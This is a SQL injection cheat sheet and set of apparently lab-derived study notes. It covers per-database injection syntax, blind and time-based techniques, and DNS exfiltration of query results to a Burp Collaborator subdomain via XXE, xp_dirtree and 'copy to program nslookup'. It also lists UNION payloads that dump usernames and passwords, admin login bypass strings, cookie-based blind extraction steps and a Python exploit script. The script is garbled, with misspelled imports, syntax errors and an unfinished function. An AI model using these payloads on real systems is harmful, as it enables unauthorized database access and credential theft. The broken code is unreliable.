SQLCourseMaterials.txt

Sql Cheat Sheet { Daily Investors}



//String concatenation
You can concatenate together multiple strings to make a single string.

Oracle	'foo'||'bar'
Microsoft	'foo'+'bar'
PostgreSQL	'foo'||'bar'
MySQL	'foo' 'bar' [Note the space between the two strings]
CONCAT('foo','bar')
Substring
You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba.

Oracle	SUBSTR('foobar', 4, 2)
Microsoft	SUBSTRING('foobar', 4, 2)
PostgreSQL	SUBSTRING('foobar', 4, 2)
MySQL	SUBSTRING('foobar', 4, 2)
Comments
You can use comments to truncate a query and remove the portion of the original query that follows your input.

Oracle	--comment
Microsoft	--comment
/*comment*/
PostgreSQL	--comment
/*comment*/
MySQL	#comment
-- comment [Note the space after the double dash]
/*comment*/
Database version
You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

Oracle	SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft	SELECT @@version
PostgreSQL	SELECT version()
MySQL	SELECT @@version
Database contents
You can list the tables that exist in the database, and the columns that those tables contain.

Oracle	SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft	SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL	SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL	SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
Conditional errors
You can test a single boolean condition and trigger a database error if the condition is true.

Oracle	SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft	SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL	1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
MySQL	SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
Extracting data via visible error messages
You can potentially elicit error messages that leak sensitive data returned by your malicious query.

Microsoft	SELECT 'foo' WHERE 1 = (SELECT 'secret')
> Conversion failed when converting the varchar value 'secret' to data type int.
PostgreSQL	SELECT CAST((SELECT password FROM users LIMIT 1) AS int)
> invalid input syntax for integer: "secret"
MySQL	SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
> XPATH syntax error: '\secret'
Batched (or stacked) queries
You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

Oracle	Does not support batched queries.
Microsoft	QUERY-1-HERE; QUERY-2-HERE
QUERY-1-HERE QUERY-2-HERE
PostgreSQL	QUERY-1-HERE; QUERY-2-HERE
MySQL	QUERY-1-HERE; QUERY-2-HERE
Note
With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.

Time delays
You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

Oracle	dbms_pipe.receive_message(('a'),10)
Microsoft	WAITFOR DELAY '0:0:10'
PostgreSQL	SELECT pg_sleep(10)
MySQL	SELECT SLEEP(10)
Conditional time delays
You can test a single boolean condition and trigger a time delay if the condition is true.

Oracle	SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft	IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL	SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL	SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')
DNS lookup
You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.

Oracle	
(XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
The following technique works on fully patched Oracle installations, but requires elevated privileges:

SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoft	exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQL	copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
MySQL	
The following techniques work on Windows only:

LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
DNS lookup with data exfiltration
You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

Oracle	SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
Microsoft	declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
PostgreSQL	create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
MySQL	The following technique works on Windows only:
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

'+UNION+SELECT+'abc','def'#
'+UNION+SELECT+@@version,+NULL#

' order by 1--
'+UNION+SELECT+NULL+FROMPDUAL--

'+UNION+SELECT+'abc','def'--
'+UNION+SELECT+table_name,+NULL, NULL+FROM+information_schema.tables--

'+union+select+null,%20null--
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

'+OR+1=1--

administrator'--

//Determine the Category
'+UNION+SELECT+'abc', 'def'+FROM+dual--
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--

/Determing Category First
'+UNION+SELECT+'abc', 'def'#
'+UNION+SELECT+@@version, +NULL#

/Additional Columns
'+UNION+SELECT+NULL--
'+UNION+SELECT+NULL,NULL--

//Finding a Column with Text
'+UNION+SELECT+NULL,NULL,NULL--
'+UNION+SELECT+'abcdef',NULL,NULL--

//Union Retrieving from other Tables
'+UNION+SELECT+'abc', 'def'--
'+UNION+SELECT+username,+password+FROM+users--

//Multiple Values in a Single Column
'+UNION+SELECT+NULL, 'abc'--
'+UNION+SELECT+NULL, 'abc'--
'+UNION+SELECT+NULL,username ||'~'||password+FROM+users--

//Blind SQL with a conditional response
First modify the TackingID
Change it to TrackingId=xyz' AND '1'='1
Verify it
Now change it to TrackingId=xyz' AND '1'='2
Now change TrackingID=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a
Must confirm their is a users table
Now change TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a
Now verify condition is True
Now to determine how many characters are in the password
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM username='administrator')='$a$
Now rerun the attack for each character of the password

//On a Url Try
+union+select+table_name,null+from+information_schema.tables

' UNION select 'a', 'a'--

//For Passwords Try
administrato'--


// First modify the category
'+UNION"SELECT+NULL--
' UNION SELECT NULL,NULL--


//Try on Request
'+UNION+SELECT+NULL,NULL,NULL--
'+UNION+SELECT+'abcdef',NULL,NULL--

//Try
'+UNION+SELECT+'abc', 'def'--
'+UNION+SELECT+username,+password+FROM+users--


//Multiple Values
'+UNION+SELECT+NULL, 'abc'--
'+UNION+SELECT+NULL,username\\'~'||password+FROM+users--




//Python with SQL
import requests
import sys
import urllib3
urlilib3.disable_warnings(urllib3.exceptions,
InsecureRequestWarning)
from bs4 import beaautifulsoup
import re

proxies = {'http': 'http://127.0.01:8080', 'https': 'https://127.0.0.2:8080'}

def exploit sqli users_table(url):
  username = 'administrator'
  path = ''
  sql_payload = "' UNION select NULL, username || '*' ||
  password from users--"
  r = requests.get(url + path + sql_payload, verify=False,
  proxies=proxies)
  res = r.text
  if "administrator" in res:
    print("[+] Found the admin.")
    soup = BeautifulSoup(r.text, 'html.parser')
    admin_password = soup.find(text=re.compile(.
    "administrator.*')).split("*")[1] 
if __name__ == "__main__":
  try:
    url = sys.argv[1].strip()
  except IndexError:
    print("[-] Usage: %s <urlk>" % sys.argv[0])
    print("[-] Example: %s www.example.com" % sys.argv[])
    sys.exit(-1)